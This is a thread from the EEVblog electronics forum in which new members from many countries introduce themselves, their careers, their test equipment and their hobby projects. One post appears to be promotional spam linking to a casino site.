My name is Josh, (everyone calls me Deuce) and I’m from the Grand Rapids area in Michigan. Professionally I’m a Lead Software Engineer of compliance solutions for the gaming industry. I’ve always been interested in electronics design/development/repair, and if I could do it all over again knowing what I know now, I’d have went into hardware. As a child I always took household small appliances and various electronics apart just to see how they work. Maybe that should have been my first clue as to “what I wanted to be when I grow up”. Fortunately for me (unfortunately for my wife), I haven’t grown up yet, so there’s that.

Over the course of the last year or so, I’ve been building my low-buck lab. Short of fancy and special and expensive toys, I think I’m doing fairly well: Fluke 179 DMM, Extech EX330 DMM (secondary), Sainsmart DDS120, Hakko FX888D solder station, and assorted components/micro controllers. I’m currently in the waiting stage for my new toys (two from here in the States, others from AliExpress): assorted Panasonic electrolytic caps (thanks, Uncle Digikey), Rigol DS1053Z oscilloscope, RD Tech DPS5015 power supply, a “Shenzhen Special” all-assembly-required function generator, and a “Shenzhen Special” all-assembly-required 30V 3A constant voltage/current power supply.

This is an awesome community, and I’m glad to be part of it!

Cheers,

-Deuce

Side note: the big cardboard box in the attached image is the Hakko solder station. Finally retired that god awful Hakko 936 “Shenzhen Special” clone :-D
Title: Re: New Member, Please introduce yourself
Post by: gedong on August 25, 2018, 02:11:04 pm
Hello, Name is Renaldi. live somewhere in 3rd country of South east Asia. 34 years old, unmarried, jobless, currently struggling to make a living. :palm:

have an  electronics fetish but always too lazy doing some real work and understanding the principal behind it, was an audiophoolery untill i learn some basic physics :phew:.
Title: Re: New Member, Please introduce yourself
Post by: Radio Guy on August 25, 2018, 03:44:13 pm
I'm Jason and was getting into electronics way back at school. Then girls got in the way (and ruined several other hobbies too). Now I'm (a lot) older and have some time on my hands I am getting back into it again. I love the YouTube videos!  :P

My loves now are Ham Radio, CB Radio (but don't tell the other Ham guys) and Guitars.




Title: Re: New Member, Please introduce yourself
Post by: Radiosonde on August 25, 2018, 08:29:20 pm
Greetings
My name is...
I am a Student and ham radio operator from Austria.
I like designing and building RF circuits and I am a big Rohde and Schwarz fan...who is not?;)
I also help out at the local repeater...i go there with skis in the winter

73
Title: Re: New Member, Please introduce yourself
Post by: MichaelJohnson50 on August 28, 2018, 08:12:35 am
Hello folks!
My name is Michael, which you can probably already tell by my username.
Born and raised in Manchester, working as an engineer here. Electronics is my hobby and biggest passion since I was about 12 years old.

Feel free to DM me!
Title: Re: New Member, Please introduce yourself
Post by: Sousuke on August 28, 2018, 05:39:08 pm
Hello Everyone :)

I'm Sousuke, I'm usually a people engineer (Student Paramedic) but I do like to dabble in electrics and computer equipment.

Born in South Wales (The "Old" one in the UK :-DD)

Title: Re: New Member, Please introduce yourself
Post by: daddycool on September 11, 2018, 09:00:44 am
hello everyone

my name is guy i am 45 and i live in sherbrooke, quebec, canada i own my own bussiness a computer shop i also do some basic electronic repair. i am a school dropout and autodidact. i love dave show he is my "friend from the internet who teach me electronic" i always try to be positive and in a good mood. that about it baby! peace man! :D
Title: Re: New Member, Please introduce yourself
Post by: Steven.UK on September 15, 2018, 06:11:14 pm
Hello My name is Steven, I live in England UK.  Been here a while but only noticed i never said "Hi" Doh!  :-[

I have always had a big interest in Electronics, Thanks to my dad, I've spent my hole life in eletronics along with computers/software/hardware and RC mostly air.
Title: Re: New Member, Please introduce yourself
Post by: glaxoni on September 15, 2018, 07:24:48 pm
Hi guys

I'm Nate from Oregon, US

Hobbyist who loves DIY electrical projects.

Title: Re: New Member, Please introduce yourself
Post by: marcio.andlei.adv on September 17, 2018, 03:05:54 am
Hello, I’m Marcio from Brazil  Glad to be here.


Enviado do meu iPhone usando Tapatalk
Title: Re: New Member, Please introduce yourself
Post by: radhika on September 17, 2018, 05:43:53 am
Hello, I am the stubborn girl with revolutionalizing tech dream.
Title: Re: New Member, Please introduce yourself
Post by: Fred_47 on September 20, 2018, 05:50:37 pm
This is my introductory post to the EEVblog forum. I notice it's somewhat longer than others. Maybe because I'm older than most on this forum.

I am a retired EE (electric power) who has dabbled in electronics since the mid 60's. Textbooks were switching from vacuum tubes to solid state as I was in collage and my employment involved practically nothing under 2300V AC unless it was control circuitry (125VDC) or support equipment (480V AC). I worked on auxiliary system design and large motor application for power plants and was the company's "rotating machinery specialist", i.e., the guy the plant called at 3AM when the generator went boom. (the largest motor I've worked on was rated 261,000HP & the largest generator was 800MVA) The motor was the main machine (there were 2) at a pumped storage hydro station. Motor at nite and generator (220MVA) by day.

I KNOW  what it takes to run a power plant because I've been part of it. Burn 5000 tons of coal a day, get rid of 500 tons of ash (without filling the sky or your room with it), all without blowing the place to kingdom come.

I've built many Heathkit bench gear kits starting with the EK-1 VOM and moving up to the IM-13 VTVM (still in daily use after about 55 years) and winding up with the IO-4235 dual trace scope (still in use after 37 years), a couple signal generators & a counter.

I have a Rigol MSO2102A & DM3068 bought new when my electronics interest reignited a year ago.

I designed and built a digital computer using RTL logic in the early 70's a few years before the Altair. It had a whopping 64 BYTES of memory, I/O was via toggle switches and LEDs. Eventually I built an Altair 8800 kit which was my main computer til the Mac Plus in 1985 IIRC.

I have a flock of old Mac computers, most of which work including this one (a 2.3GHz G5 tower anchor) which is my newest computer. It runs OSX 10.4 because 10.5 breaks too much software. (I'm a Mac fanboy because I never liked MS because of Bill's attitude toward hobbyists when he worked at MITS.)

Lately I've acquired a bunch of old gear from eBay. The list:

2 HP3478A  5 1/2 digit VM

2 HP 3456A 6 1/2 digit VM one of which I repaired failed zener in the inguard PS

1 Fluke 335D voltage standard & null VM (replaced a bunch of caps)

1 HP 6253A dual PS (repaired, failed zener)

1 HP 6642A PS

a couple GR decade boxes, a DP1311 Decapot (Kelvin Varley divider which I'd never heard of til Dave mentioned it) & an ESI D887 Deka box. All seemingly in spec or close enough.

My main interests in electronics are power supplies (usually model RR throttles), repairing (& building) test gear, voltnuttery, test & measurement, digital computers & digital circuitry in general. Most of my hobby work is usually in support of something digital (Arduino these days). I never really understood the pole & zero stuff.

For me, positive current flows from the plus terminal to the minus terminal & we should have never let the physicists name the terminals on a FET.

Sayings:

Never remember anything you can look up. (Einstein)

Groves giveth and Gates taketh away. (?)

Fred_47
Fred Lotte, PE (not current), BEng, MEng
Ohio, USA
Title: Re: New Member, Please introduce yourself
Post by: MrMobodies on September 26, 2018, 04:38:54 am
My name is Richard and I thought I would sign up. I have seen the videos over the years and I am considering Youtube Red as the EEVBLOG channel is becoming so good it will make it worthwhile. I remembered first coming across a video in 2012 of a huge tear down of a hard drive from a bank. I don't often rate videos or subscribe but as it is so good I'll start giving the thumbs up. I like the tear downs, details and the sarcasm.

I would like to go more into electronics by interest and by opportunity there is Dave opening things up and explaining how they work. Most of my questions are eventually answered during a video.

From a 2010 driving video, for me the educational parts are delivered through interest and enthusiasm of the speaker.

I'll have to start donating.

I have some old stuff that are too heavy to send for tear downs so maybe I'll start some threads with pictures of them and the insides.

Many thanks to the patreons for supporting a valuable educational resource made interesting and enjoyable.
Title: Re: New Member, Please introduce yourself
Post by: Alf on September 27, 2018, 02:06:05 pm
Hi All,

I'm James and I'm an electrical engineer in Newcastle, Australia.

I used to be an electronics technician for 7 years before going to uni, graduating a few years ago.

I do a lot of electronics and PCB design at work and at home and I like Audio Electronics, DSPs, speaker design and microcontrollers. I work on lots of stuff from micros to GPS to Ethernet, power supplies, control and protection systems.

I have been lurking on EEVblog youtube videos for a while and I thought I should get involved. I'm the only electrical guy at work and it would be good to have somewhere to kick ideas around with others with similar interests.

Looking forward to meeting you,

James
Title: Re: New Member, Please introduce yourself
Post by: bastiaang on September 27, 2018, 08:15:17 pm
printf("Hello world");

Bastiaan here, right now studying electrical engineering in Delft.
But I am still a bit new to the world of electronics. Because I have discovered the wonders of electronics four years ago.
As we speak I'm doing my graduation internship. So hopefully at the end of the year I am also a fully functional electrical engineer!  ;)

So right now my step up is a Keysight DSOX1102G and a Hakko fx-888D and I am starting to work on other bench devices (like a LCR measure device, power supply and electronic load).

I'm trying to catch up all the EEVblog video's over the last four years.  :scared:

I hope I can help as many people as people can help me :)

See you around!
Title: Re: New Member, Please introduce yourself
Post by: Joey Pickles on October 13, 2018, 07:37:31 pm
Hello,

I'm Adam. I found my way here after watching a few EEVblog videos on YouTube.

I have an interest in making electronic music so I have decided to build some Eurorack modules from kits. I've learnt a bit from testing and troubleshooting my builds as well as sourcing the components, but I know there is a lot I don't know yet.

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: spo0ky on October 18, 2018, 07:29:56 pm
Hello everyone,
  I'm an eevblog addict and I've been binge watching eevblog videos ever since I saw the first teardown.  I'm not an EE by any stretch of the imagination. Although I am a retired hacker.  Not that hackers ever retire but long gone are the hours of looking at terminal windows, pouring over code to tweak it just right. I started watching teardown videos on bigclive.com, his witty titles always know how to draw me in, it was big Clive that introduced me to the eevblog, so you can blame him ;).  I still go on occasional binges of chatting on the good old IRC.  I love Dave's use of Australian (Not Austrian) euphemisms,  like "second suck of the sav".  I wonder what the etymology of that one is, that would make for an interesting video, why do Australians say, "second suck of the save"? Where did that come from?  I'd like to thank Dave for producing some thought provoking videos.
Title: Re: New Member, Please introduce yourself
Post by: Kazikiel on October 20, 2018, 03:36:06 pm
Hi my name is Dan. I am not a electronics engineer by any means, but I am a huge into it. and do a lot of work with electronics. I do a lot of automotive electronics installs and repairs. 
Title: Re: New Member, Please introduce yourself
Post by: Tector on October 20, 2018, 08:02:09 pm

Hello Guys! I am a student of Electronic Engineering at the Federal Technological University of Paraná (5th year) in Brazil, as a technician I worked with Clinical Engineering and electronic medical devices. I hope I can learn more from you!  ;)
Title: Re: New Member, Please introduce yourself
Post by: Feliciano on October 21, 2018, 12:56:08 am
Hello,

I'm Feliciano. I've been studying electronics since I was 10, when vacuum tubes was still a subject with the 5-transistor radios catching up. I still love electronics, and I like DIY electronics engineering (i.e. creating/improving/repairing stuff) whenever I have some spare time. Lately I've been working my own LED bulbs, buck converters, power supplies, and such, (first at LTSpice then at PCB), though I work on Telecomm industry and teach at the University.

Google and Dave brought me here many times, so I decided to register to proper interact with you, people.

Cheers,
Title: Re: New Member, Please introduce yourself
Post by: giskard on October 23, 2018, 10:55:44 pm
Hello, I am a physician from Mexico, I have always been an electronics tinkerer. I am here to learn, get advice, share and just have fun. I am seriously thinking about getting an Engineering degree in the electronics field (EE or embedded), so any advice on that  would be great.
Title: Re: New Member, Please introduce yourself
Post by: Moonbase on October 28, 2018, 10:24:11 pm
Moin! (»Hi« in East Frisian)

My name is Matthias. Before anyone asks, the nickname »Moonbase« is not from »Moonbase Alpha 1« but from »UFO« instead, a 1969/1970’s SF telly series and I’ve used it ever since. For a reason. Maybe one day I’ll talk about that.

By sheer coincidence, I landed on the third planet of a sun somewhere in the western spiral arm of a completely insignificant hillbilly galaxy, and consider myself a Terran since then, though some people – most notably my parents – insist in believing I’d be a British-German mix. For some obscure reason, I later got stuck in what they call a »country« around here, named Germany.

I’m kinda old fart (last 2 digits of my birth year equal my age in 2018, go figure!  >:D) that never lost the child inside.

I’ve been into electronics since I was about 8 years old, touched the hot cooking plate, burnt meself … and then disassembled the (electric) 4-plate oven to find out WHY.  :-DD That’s how my curiosity started, in short. I worked and tinkered around in electronics in the ’70s and ’80s and later moved on into IT. Some time ago, my love for the olden stuff crept up again and I’m currently playing around and rebuild my little lab again at home.

I’ve been following Dave’s YT videos for a while and decided it being time to register on EEVblog now. Well, here I am!  :)
Title: Re: New Member, Please introduce yourself
Post by: Crazy_Pete on October 29, 2018, 08:28:13 pm
Hi all i am Crazy Pete,

May i introduce myself by bowing to my hosts?

>Hello, I am the stubborn girl with revolutionalizing tech dream.

Radhika, that is the COOLEST tagline i have ever seen! :-)   Dayshi lol!  (Beloved Sister)  Anything i/we can do to help you  realise that dream, i beg you to ask!

My background is that i originally got a degree in Pharmaceutical Chemistry.     (That doesn't mean i am going to make meth for you, it is astonishing how many people ask.)  What that means is that i can take a piece of moldy bread and  turn it into penicillin.  :-)

I learnt C++ along the way and upon graduating got hired as a programmer and spent 20 years in the career.   I am very interested in embedded programming, have a several arduinos but i much prefer the ARM assembler.   I do strictly Linux and avoid anything involving Microsoft like it was an infection.  For all my career in Science, electronics was always my weakest point.   As i age (I am 56 now) i have taken up the electronics hobby just to exercise what i know to be the weakest part of my brain.   I really appreciate the astonishing amount help i have been given in this forum.


Thanks,

Crazy Pete

P.S. Regarding the profile Avatar: i grew that myself hydroponically, (It's legal here now)  We actually grow a wide variety of medicinal herbs here and using electronics for environmental data logging and control is a big interest to me.
Title: Re: New Member, Please introduce yourself
Post by: ajaykumarunni@gmail.com on October 31, 2018, 04:06:17 pm
Hi All,

I am Ajay. I am from India. I completed Engineering in Electronics and Communication in 2012 and  have been working in a Software company ever since, Now I am planing to brush up my electronics knowledge and requesting support from all of you.

Thanks
Title: Re: New Member, Please introduce yourself
Post by: adamcord on November 05, 2018, 04:31:26 pm
Hi all, I'm Adam from West Virginia, USA, studying electrical engineering at Case Western Reserve university in Cleveland, Ohio. I'm the hardware lead for our school's robotics club. Among other things, we compete annually in the NASA robotic mining challenge. I work mostly with embedded systems and control. I began watching Dave's EEVblog channel a few months ago, and have finally made my way here!

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: rhodges on November 08, 2018, 07:07:45 pm
Hi, Richard joining the forum. I got here indirectly from a pointer on the SDCC (small device c compiler) mailing list about the cheap Padauk controllers. Cheap as in N pennies each.

I looked at the PMS150C datasheet. It looks like 8048 and PIC16c56 had a baby. But it could be quite useful for a lot of things.

I am "semi retired" right now, but working on my own projects. I used to be a big fan of PIC, but a year ago I found STM8 and love it. Over the years, I have developed low, medium, and high level, but I really like embedded programming. Have a lot of years in 6809, MIPS, PIC, 8088, Z80, and finally STM8. There's a little 8048 in ancient history.

I have been writing libraries for STM8 to help handle various external devices and internal peripherals.
www.hodges.org/rh/stm8 (http://www.hodges.org/rh/stm8)
https://github.com/unfrozen/stm8_libs (https://github.com/unfrozen/stm8_libs)
https://github.com/unfrozen/stm8_tests (https://github.com/unfrozen/stm8_tests)

My best job was embedded MIPS for one of the first affordable (not $800 Acorn...) streaming video players, the PRISMIQ set top box. Got to work with the PNX1302 VLIW processor for video and media decoding. It was "only" 200mhz, but could dispatch five instructions per cycle.

Have a Tek 2465 and 465, but for some reason I am using the 465 right now...

Glad to be here!
Title: Re: New Member, Please introduce yourself
Post by: Kasper on November 10, 2018, 07:28:59 am
Hi Everybody,
I'm Kasper. I live in Canada and I'm a big fan of this forum and Dave's videos. Specially the teardowns of modern electronics so I can learn some industry standards and do's and don'ts.

I got into electronics 14 years ago. Started with a technologist diploma then worked for a while then got an engineering degree.  Lately I have been HW/FW designer, QA, etc for tech startups making wearable sensors and I spend a lot of my spare time inventing little gadgets. I'll probably have some questions about them and will eventually be looking for reviews before I try selling them.  I also want to give back to this wealth of knowledge that I have been using.
Title: Re: New Member, Please introduce yourself
Post by: Jorge4563 on November 13, 2018, 04:44:24 pm
Hello everyone my name is Jorge, I am in 3rd year EE, I love it. This forum is awesome. I love repairing stuff and teardowns. I have been a Daves follower for years but now I decided to register in the forum.
Title: Re: New Member, Please introduce yourself
Post by: NA5B on November 16, 2018, 02:12:54 am
My name is Mehmet, NA5B from Washington DC area. I have been a regular follower of Dave - The EEVblog on YouTube.  I have been to this forum in the past many times as I searched technical stuff on the net but never tough of registering. (laziness) I got into electronics and making things way back when I was about 6 or 7. Primary interest is RF, I have a deep interest for digital communications. Love playing with test equipment and can do this all day long non stop! :-) I also have special interest of service monitors, spectrum analyzers, network analyzers, scopes, etc. and I spend my time at my home lab generally fixing things. Worked as LMR tech for many years for the US government and on military bases in various countries in the past.

I run a WebSDR server 24/7  in Washington DC area covering HF bands and VHF-UHF bands for those who are interested in radio listening. (can I put my sdr address here?) http://na5b.com:8901 (http://na5b.com:8901) for HF bands and http://na5b.com:8902 (http://na5b.com:8902) for vhf-uhf bands (PLEASE USE MOZILLA - CHROME HAS AUDIO PROBLEMS for now, they said they are working on it)

Attached is one of my benches at home for electronics hobby.

Thank you all. 73
Title: Re: New Member, Please introduce yourself
Post by: benbradley on November 18, 2018, 06:44:55 am
Hi, I'm Ben from the Atlanta area. I've seen Dave's videos off and on for years, and I especially appreciate his debunking of things like Solar Freaking Roadways.

I've hit this forum over the years from googling electronic part numbers, so I finally joined. I've been doing the electronic thing for a while - my father was an amateur radio operator and got me my first Heathkit at age 8. In college I learned machine and assembly programming on a KIM-1, and have been doing hardware and software design ever since.

Here's a project I made in two days - maybe I should set myself more deadlines, I'd get more of these type projects done:
http://blog.freesideatlanta.org/2017/02/a-capacitive-touch-janko-keyboard-what.html (http://blog.freesideatlanta.org/2017/02/a-capacitive-touch-janko-keyboard-what.html)
Title: Re: New Member, Please introduce yourself
Post by: rokz on November 18, 2018, 10:04:37 am
Hi everyone and thanks for letting me join.Based in Ireland/uk and been involved IT  for too long now and  started  interest in battery storage a few years ago of which i am finding very interesting.I  do sell a good bit of laptop battery packs ect so if any of you guys need any please dont hesitate.Somtimes get a bit stuck identifying battery packs and hope you guys can help !
Title: Re: New Member, Please introduce yourself
Post by: zetaerre on November 20, 2018, 03:53:18 pm
Hi All,

I'm Roberto from north of Italy, 30 years experience programmer, all is started from the passion in electronics, first in HF then microprocessor.

Best

R.
Title: Re: New Member, Please introduce yourself
Post by: wkt on November 21, 2018, 10:13:28 am
Hello everyone, I am Alexandru, hardware engineer, originally from Romania.
I've been doing a lot of personal projects for more than 10 years and have started working professionally for the last 3 years first in the automotive industry then commercial drone industry and now avionics.
I always had a small lab at home with soldering tools and test equipment, also a stock of components to create quick projects with microcontrollers and sensors.
Title: Re: New Member, Please introduce yourself
Post by: TonyTrupp on November 23, 2018, 03:53:58 am
hey all, I'm Tony, been teaching myself electrical stuff for only about 6 months now, but David's video's have been a huge help, so wanted to get active in the community here. 
Title: Re: New Member, Please introduce yourself
Post by: Markino on November 23, 2018, 08:28:58 am
Hey guys, I'm Marco from Italy and I just find that great forum!
I'm sure I'll learn lot of stuff so... thanks in advance!
Title: Re: New Member, Please introduce yourself
Post by: ukzmisr on November 28, 2018, 10:05:54 pm
Hi all just registered.  Looking to learn how to fix things electronic. Great forum
Title: Re: New Member, Please introduce yourself
Post by: Ooste on November 30, 2018, 09:34:44 am
Hi all, I'm Henry from Toronto.

Pleased to meet you all!

I am 21 years old, I work as a croupier in a city quality casino, maybe you have heard about us here - pebwallet.com (https://pebwallet.com/)



Cheers,

Henry
Title: Re: New Member, Please introduce yourself
Post by: orefat on December 03, 2018, 08:26:25 am
Hi, I'm from Bosnia, and I'm a electronics technician. I just love my profession and I'm in this field for about ten years.
Title: Re: New Member, Please introduce yourself
Post by: nsrmagazin on December 03, 2018, 08:53:27 am
Hello!

My name is "nsrmagazin@gmail.com".
I am an electronics engineer, I make PCBs, hardware and a little of the programming.

My interests are technology, electrical and metal working.

If you need help with some project, feel free to ask.
Title: Re: New Member, Please introduce yourself
Post by: sashz on December 11, 2018, 07:19:43 am
I am Sashz, we are working with hardware projects and now I am in China and making prototypes of our devices.
Title: Re: New Member, Please introduce yourself
Post by: ryanbryandyin on December 11, 2018, 09:09:14 am
Hi all,

I'm Ryan, a software engineer from San Diego. I studied EE for two semesters at UT before better sense prevailed and I switched to CS :D
Title: Re: New Member, Please introduce yourself
Post by: Bullone on December 12, 2018, 08:43:47 am
Hey guys, I'm a sw engineer, nice to meet you!
Title: Re: New Member, Please introduce yourself
Post by: tristan PCB on December 13, 2018, 02:12:33 pm
Hello, everyone. I am Tristan. I am a PCB manufacturer I am now focusing on my production in shenzhen China
Title: Re: New Member, Please introduce yourself
Post by: Cicero on December 13, 2018, 02:53:51 pm
Greetings, I'm an electronic eng, spend most of my time on embedded software but tend to do it all (hw+sw) more often than not.
Title: Re: New Member, Please introduce yourself
Post by: Cyberspook on December 19, 2018, 11:01:48 am
G’day from way down under , my name is Derek and until forced to retire I worked as a drill and blast coordinator for a local ( Tasmanian ) mining company , spent two years in the eighties at Wollongong uni doing post trade electronics and plc implementation, have been repairing my own electronics for the last 20 years and enjoy fault finding , you won’t hear from me much as I tend to watch listen and learn 😎
Title: Re: New Member, Please introduce yourself
Post by: burningfire on December 23, 2018, 05:14:05 pm
Hi all !
my name is Parsa   ;D  I'm studying electronic engineering at Shahid Chamran University in Iran .
 I'm so interested in concepts and practices of all electrical engineering parts , specially Coding and Cryptography  however I'm not studying it  ;D
Title: Re: New Member, Please introduce yourself
Post by: mansaxel on December 28, 2018, 06:46:30 pm
Hello,

I'm Måns, from Sweden. I've successfully avoided electronics design until just about the Arduino. I've been holding a soldering iron in mostly correct ways since about 1985, though, but I've mostly done cable manufacture and bodge repairs. As one does, when working with pro audio and video in the field. I got pretty good at terminating cables onto XLR plugs. Since 1998 or so I've been trying to keep the Internet together in various network-related positions, running a country-code top level domain, doing research network operations, reforming the network of not one but two public service broadcasters and so forth.  (Yes, I run several distinct routing protocols in my home network.)

To keep things straight, I build analog audio systems at home, and try to design home automation that is not cloud-dependent. Since my very first pro-audio employer denied the repair tech an oscilloscope, I've always wanted one. This was the start of a still-on-going "vengeance T.E.A." rampage.

Now, I've got what my pals dreamed of back then in the early nineties, a Scopemeter, a Tek 465, a bunch of oscillators, a Nixie tube counter, and a Tek Distorsion analyser in 500 modules. And, an Avometer. Just because. Bakelite. Mirror scale. Not enough, though. Needs more.
Title: Re: New Member, Please introduce yourself
Post by: dayfall on December 31, 2018, 06:01:22 pm
I am from Mississippi. I am not an EE but peopel seem to think I am.  I have begun taking jobs working with Escape Rooms and my goal is to get enough knowledge and skills to design robust circuits. 
Title: Re: New Member, Please introduce yourself
Post by: gamerpaddy on December 31, 2018, 06:51:43 pm
Hello im gamerpaddy from germany, my real name is patrick, but usually i dont use it on the webs.
Im doing tech related youtube videos sometimes and im active most of the time in german forums about electronics.
My interests are a mixed bag of everything. One day im into 3D printing, the other into RC Models. PCB making, Programming.  But mainly into Electronics, repairing and making stuff.
One Thing i made that may helped other people, was reverse-engineering a Serial Protocol of a E-Bike battery to be able to build your own and having it accepted by the Bike. (can be found under google search term "yamaha reverse engineering")
Title: Re: New Member, Please introduce yourself
Post by: Sephrin on December 31, 2018, 09:18:56 pm
Hello, I am Ryan from Colorado USA. I am a CE who's career took me into IT consulting and I enjoy working on test equipment and side projects to attempt to keep my skills sharp. Can't believe it took me this long to find this place, I think this is the best Electronics and Technology forum on the internet. Time to stop lurking.

Title: Re: New Member, Please introduce yourself
Post by: bonzer on January 04, 2019, 09:51:30 pm
Hello everyone! I'm from Italy and I study Electronic Engineering.  :)
Title: Re: New Member, Please introduce yourself
Post by: chareclaurentiu on January 05, 2019, 07:58:45 pm
Hi guys , Im new on this forum and I need your help. Can somebody help me with  PhotoMOS Optically Isolated Relays or more exactly how to measure it or check it ?
Title: Re: New Member, Please introduce yourself
Post by: Edison on January 07, 2019, 02:57:14 pm
Well, you were well introduced  :palm:
Title: Re: New Member, Please introduce yourself
Post by: gkmaia on January 08, 2019, 06:54:38 am
Hi guys!

I am new to the forum.

I started learning electronics now, on my 40s. I wanna be able to fix my keyboards, olds computers, etc.

Title: Re: New Member, Please introduce yourself
Post by: roosmcd on January 08, 2019, 07:23:33 pm
 Hallo vanuit Nederland!

 Just joined, used to do electronics stuff (study, designing PCB's and electronics test) but nowadays it's just working in IT for a long while. Just some small hobby projects, going to the HAM market a couple of times a year and recently I've given some beginners courses in soldering at work.
Title: Re: New Member, Please introduce yourself
Post by: GabrielR on January 09, 2019, 02:06:58 pm
Hi! I'm Gabriel, from Argentina.
I'm into electronics since (or before) I could walk, but it always managed to be a hobby. I ended up at the internet service provider industry doing all kinds of networking and IT stuff, nowadays linux, routing, rf planning, and fiber deployment things. And of course as required by my country, crisis management, financial struggling expert and do-it-with-whatever-you-can-find specialist.
I have two kids, a 6-yo girl wich has started doing some basic breadbording and 7-mo boy.
The YT bug bite me not so long ago and I've started watching Dave, that's when I learned to speak Aussie, and faster than I realized I was 'again' more into this than R/C.
Now I'm building up my lab on a separate room with dedicated place for test gears, parts, soldering station, and other important stuff which up to this day it was shared with my RC/metalworking/woodworking workshop.
I'm currently finishing the design of a lab PS with all the crap I already have, among them a lot of busted UPSs with big beefy heavy transformers, which as you already know is not possible, you end up buying more crap but that's where the fun is. (yeah I know, linear... but with a buck tracking pre-regulator!)
A lot of the wonders of the modern age are not quite easy here, such as two bucks Chinese PCB manufacturers, parametric component search suppliers and dead cheap test instrument on the bay. So, local PCB manufacturers which charge you one or two orders of magnitude more or an epic bureaucratic fight whit the customs and gov are required.
I hope I can be off of T.E.A for a while at least
Greetings to all!
Title: Re: New Member, Please introduce yourself
Post by: j7b on January 09, 2019, 06:00:23 pm
Hi there! For the most part I'm a DevOps guy but recently got interested in microcontrollers and FPGA's, which led to interest in electronics in general, which led to videos on YouTube by a crazy Aussie bloke with a Back to the Future fetish.
Title: Re: New Member, Please introduce yourself
Post by: Mckinney161107 on January 09, 2019, 07:50:50 pm
Hi my name is Christian, I am a freshman at Tennessee State University majoring mechanical engineer major. I am really excited to learn as much as I can about all types of engineering.
Title: Re: New Member, Please introduce yourself
Post by: Inverted18650 on January 10, 2019, 05:04:55 am
Hi my name is Christian, I am a freshman at Tennessee State University majoring mechanical engineer major. I am really excited to learn as much as I can about all types of engineering.

Hey mate, I am a fellow TN based engineer. Welcome to the forum, it is the greatest resource I have ever found. No matter what you are into, you will find a thread on it.
Title: Re: New Member, Please introduce yourself
Post by: cgriggs on January 10, 2019, 07:00:59 am
Hi. I'm Charlie. Been away and getting back into hamming. (K3UIM Ham since 1962) Just found this forum and it looks good. Retired toolmaker, Talon, Inc.
Title: Re: New Member, Please introduce yourself
Post by: Wendy_Preston on January 10, 2019, 02:19:16 pm
Hello everyone! My name is Wendy, and I've worked at Harwin for 23 and a half years - the first nine in our Design Team. I have a BEng in Manufacturing Engineering, and a crazy-good memory for all the designs and projects that have passed through my hands here at Harwin. I designed or worked on a fair number of our standard products, and still keep an eye on Design  ;D .

These days, I'm the main Technical Support contact - you have a question on Harwin connectors and hardware, I'm the one you'll be talking to in Europe. I'm also responsible for all the technical stuff on our website. Any questions, let me know, I'm always happy to help!
Title: Re: New Member, Please introduce yourself
Post by: saph on January 25, 2019, 03:45:10 am
Hi im saph and i enjoy daves stuff as a fellow aussie.

I guess thats all.
Title: Re: New Member, Please introduce yourself
Post by: The_Welding_Library_Guy on January 30, 2019, 12:55:53 am
Hey everyone! I'm a library specialist for a small college, a cosplayer, and DIYer. I love building and crafting anything that catches my fancy and have a particulate interest in electronics and robotics. I've been slowing working through a tech level industrial electronics program at the college I work for. While learning more advanced bits through Skillshare and Youtubers like Dave and BigClive. I Hope to learn alot form yall
Title: Re: New Member, Please introduce yourself
Post by: janaf on January 31, 2019, 10:30:30 am
Hi guys!

I've been away from the forum for years, had other obligations, I've been away so long I thing I better re-introduce myself.

Now, I'm sliding into retirement so I will have more time for electronics fun.

My background is an MSc in mechanical engineering, thermal engineering, power-plant, turbines... I worked for decades with various measurement techniques, analogue, digital, I gradually done more an more electronics, still focused on analog measurement techniques.

Once upon a time I pioneered DIY audio amplifiers using IC's from Tripath.

On the forum I did quite a lot of basic work on characterizing the LTZ1000 ultra-stable voltage reference. I might summarize these in a readable way now....

Nice to be back.
Title: Re: New Member, Please introduce yourself
Post by: robertweigel on January 31, 2019, 02:19:35 pm
Hi All, I am bob from the usa and just happy to be here!
Title: Re: New Member, Please introduce yourself
Post by: Terry01 on February 01, 2019, 06:39:03 pm
Hi All, I am bob from the usa and just happy to be here!


…… just livin the dream brother?  :-+
Title: Re: New Member, Please introduce yourself
Post by: JustinP on February 03, 2019, 08:22:31 am
Hello, My name is Justin Pince and I am from Minnesota. I am currently working towards my BS in Information Systems Management online through the UMN. I work for a home automation company called RTI in their Tech Support department.

 I have come across this forum a lot while doing research. I have been interested in electronics and whatnot for a while, but I have just taken stuff apart to see what is inside and how it works. I have recently started to explore very very basic electrical engineering and components and I am enjoying soaking up all of the information. I think it is very cool how people can take items like MOSFETS, capacitors, and etc and create something out of them. I hope to turn this into a hobby eventually and set up a work station where I can have projects that I am working on to create something myself. I mainly got into this because I plan on creating an electric drift kart and after doing a lot of research it opened my eyes to all the cool things you can do. It seems very complex to me right now, and I think it would be cool to take a few classes, buy some kits, and try some very basic projects this next year.  If anyone has any beginner level kits of how-tos that they would like to suggest that I try, I would appreciate a PM with your suggestion. I hope to use this forum to better my knowledge and eventually help others just starting out like me.
Title: Re: New Member, Please introduce yourself
Post by: Gerhard_H on February 03, 2019, 07:00:11 pm
Hi, I am Gerhard from the Netherlands. I am a Power Electronics Engineer for a living. I am also a licensed HAM and like building radios and test equipment. Currently I am considering a symmetrical antenna tuner controlled by e.g. an Arduino. There are also some tube radios waiting for restoration.
I hope I can learn from and contribute to this forum.
Title: Re: New Member, Please introduce yourself
Post by: GregRS on February 10, 2019, 05:12:42 pm
Hello from France!
I'm Greg from France, it's already 12 years like a IT Engineer with a small electronic repairs hobby, always learning.. and very happy to find this kind of forum.
Have a nice day All :)  :-+
Title: Re: New Member, Please introduce yourself
Post by: RogerAF on February 10, 2019, 07:40:22 pm
Aloha and Greetings from Orlando, FL, USA.
I'm mostly retired, but I find I'm tired of not designing stuff. I used to service recording studios and sound companies in Honolulu.
I've designed and built mostly mods for audio gear, some digital stuff, some combined custom controllers. I started as a guitar player then went to tech school, then college. I started programming in 1980 with Basic. Grew into Pascal (while still in DOS), moved to C++ with Windows 3.1 but didn't get far. Got into C with embedded micros in the late 90s. Now I'm back to C++ trying to learn how to write device drivers in Win-10.

I'm now saving up for a decent scope. Saw the video about the Rigol DS1054 on EEVblog YouTube, so that's become my latest ambition. --Thanks Dave--  ;D

So, good to be here, glad I found you guys, cheers.

